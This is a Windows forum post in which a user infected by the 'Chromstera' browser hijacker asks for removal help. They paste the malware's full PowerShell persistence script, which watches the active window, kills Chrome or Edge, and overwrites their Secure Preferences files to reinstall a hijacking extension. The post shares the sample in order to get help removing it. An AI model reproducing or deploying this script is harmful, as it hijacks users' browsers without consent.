Kade_
Member
- Local time
- 6:42 PM
- Posts
- 6
- OS
- Windows 11
I have the Chromstera browser hijacker on my computer and I'm not sure where it came from (there could be a few places but i've deleted all of the sketchy things i know on my computer). It has embedded myself into my computer, opening cmd and powershell to reinstall old files and keep my browser 'managed'. I just found the scheduled task that's running cmd and powershell, and this is the code I believe it's running:
It seems to have folders of 'world wide solutions' and 'web genius solutions' that I cannot get access to in order to delete it.
Somebody please help me out!! I've had to ditch chrome because of this
Code:
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class User32 {
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", SetLastError=true)]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
[DllImport("user32.dll")]
public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
public struct LASTINPUTINFO
{
public uint cbSize;
public uint dwTime;
}
}
"@
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$form = New-Object System.Windows.Forms.Form
$form.Text = 'Data Entry Form'
$form.Size = New-Object System.Drawing.Size(300,200)
$form.StartPosition = 'CenterScreen'
$okButton = New-Object System.Windows.Forms.Button
$okButton.Location = New-Object System.Drawing.Point(75,120)
$okButton.Size = New-Object System.Drawing.Size(75,23)
$okButton.Text = 'OK'
$okButton.DialogResult = [System.Windows.Forms.DialogResult]::OK
$form.AcceptButton = $okButton
$form.Controls.Add($okButton)
$cancelButton = New-Object System.Windows.Forms.Button
$cancelButton.Location = New-Object System.Drawing.Point(150,120)
$cancelButton.Size = New-Object System.Drawing.Size(75,23)
$cancelButton.Text = 'Cancel'
$cancelButton.DialogResult = [System.Windows.Forms.DialogResult]::Cancel
$form.CancelButton = $cancelButton
$form.Controls.Add($cancelButton)
$label = New-Object System.Windows.Forms.Label
$label.Location = New-Object System.Drawing.Point(10,20)
$label.Size = New-Object System.Drawing.Size(280,20)
$label.Text = 'Please enter the information in the space below:'
$form.Controls.Add($label)
$textBox = New-Object System.Windows.Forms.TextBox
$textBox.Location = New-Object System.Drawing.Point(10,40)
$textBox.Size = New-Object System.Drawing.Size(260,20)
function Get-ActiveWindowTitle {
$hWnd = [User32]::GetForegroundWindow()
$text = New-Object System.Text.StringBuilder 256
if ([User32]::GetWindowText($hWnd, $text, $text.Capacity) -gt 0) {
return $text.ToString()
}
return $null
}
function Is-Extension-Installed {
param (
[string] $preference,
[string] $id
)
try {
if (Test-Path -Path $preference) {
$chrome_json = Get-Content $preference -Raw | ConvertFrom-Json;
foreach($ext in $chrome_json.extensions.settings.PsObject.Properties) {
$name = $ext.Name;
$value = $ext.Value;
if ($name -eq $id) {
if ($value.state -eq 1) {
return $true;
break;
}
}
}
}
} catch {
Write-Host $_.Exception.Message;
}
return $false;
}
$localappdata = $env:localappdata;
$chrome = "Google\Chrome";
$edge = "Microsoft\Edge";
$chromeProfile = "$localappdata\$chrome\User Data\Default\";
$edgeProfile = "$localappdata\$edge\User Data\Default\";
$chromeExt = "$chromeProfile\Extensions\$id";
$edgeExt = "$edgeProfile\Extensions\$id";
$chromePref = "$chromeProfile\Secure Preferences";
$edgePref = "$edgeProfile\Secure Preferences";
$configFile = "$localappdata\reserve\config.txt";
if (Test-Path -Path $configFile) {
$data = Get-Content -Path $configFile;
$id = $data[4].Substring(7);
$chromeData = Get-Content -Path $chromePref -ErrorAction SilentlyContinue;
$edgeData = Get-Content -Path $edgePref -ErrorAction SilentlyContinue;
if ((Test-Path -Path $chromeExt) -Or (Test-Path -Path $edgeExt)) {
$chromeInstalled = Is-Extension-Installed -preference $chromePref -id $id;
$edgeInstalled = Is-Extension-Installed -preference $edgePref -id $id;
if (-Not($chromeInstalled -And $edgeInstalled)) {
$checkIntervalSeconds = 60 # Check interval (e.g., every 10 seconds)
$nonBrowserDuration = 600 # If non-browser active for 60 seconds, display success
$nonBrowserTime = 0 # Timer for non-browser activity
for ($i = 0; $i -lt 300; $i++) {
$activeWindow = Get-ActiveWindowTitle
if ($activeWindow -match "Chrome|Edge") {
Write-Output "The active window is a browser (Chrome or Edge): $activeWindow";
$nonBrowserTime = 0;
} else {
Write-Output "The active window is not Chrome or Edge. It is: $activeWindow"
$nonBrowserTime += $checkIntervalSeconds;
}
if ($nonBrowserTime -ge $nonBrowserDuration) {
if (Test-Path -Path $chromeExt) {
if ($chromeInstalled) {
Write-Output "Chrome Extension Already Installed";
} else {
Stop-Process -Name 'chrome';
$file = "$localappdata\reserve\$chrome\Secure Preferences";
Copy-Item -Path $file -Destination $chromeProfile -Force;
}
}
if (Test-Path -Path $edgeExt) {
if ($edgeInstalled) {
Write-Output "Edge Extension Already Installed";
} else {
Stop-Process -Name 'msedge';
$file = "$localappdata\reserve\$edge\Secure Preferences";
Copy-Item -Path $file -Destination $edgeProfile -Force;
}
}
break;
}
Start-Sleep -Seconds $checkIntervalSeconds;
}
} else {
Write-Output "Extension already installed on Chrome & Edge";
}
} else {
Write-Output "Extension folder not found";
}
} else {
Write-Output "Config file not found";
}
Somebody please help me out!! I've had to ditch chrome because of this
- Windows Build/Version
- 23H2 build 22631.4169
Attachments
My Computer
System One
-
- OS
- Windows 11
- Computer type
- PC/Desktop
- Manufacturer/Model
- Not prebuilt
- CPU
- Ryzen 7 2700
- Motherboard
- ASrock B450M pro4
- Graphics Card(s)
- GTX 1660 TI
- Monitor(s) Displays
- viewsonic 32" 165hz
- Screen Resolution
- 1440p
- Hard Drives
- seagate barracuda 2tb
- Case
- Deepcool something
- Keyboard
- redragon k582
- Mouse
- redragon m711 cobra
- Internet Speed
- 1Gbps
- Browser
- Opera gx, previously chrome
- Antivirus
- bitdefender/malwarebytes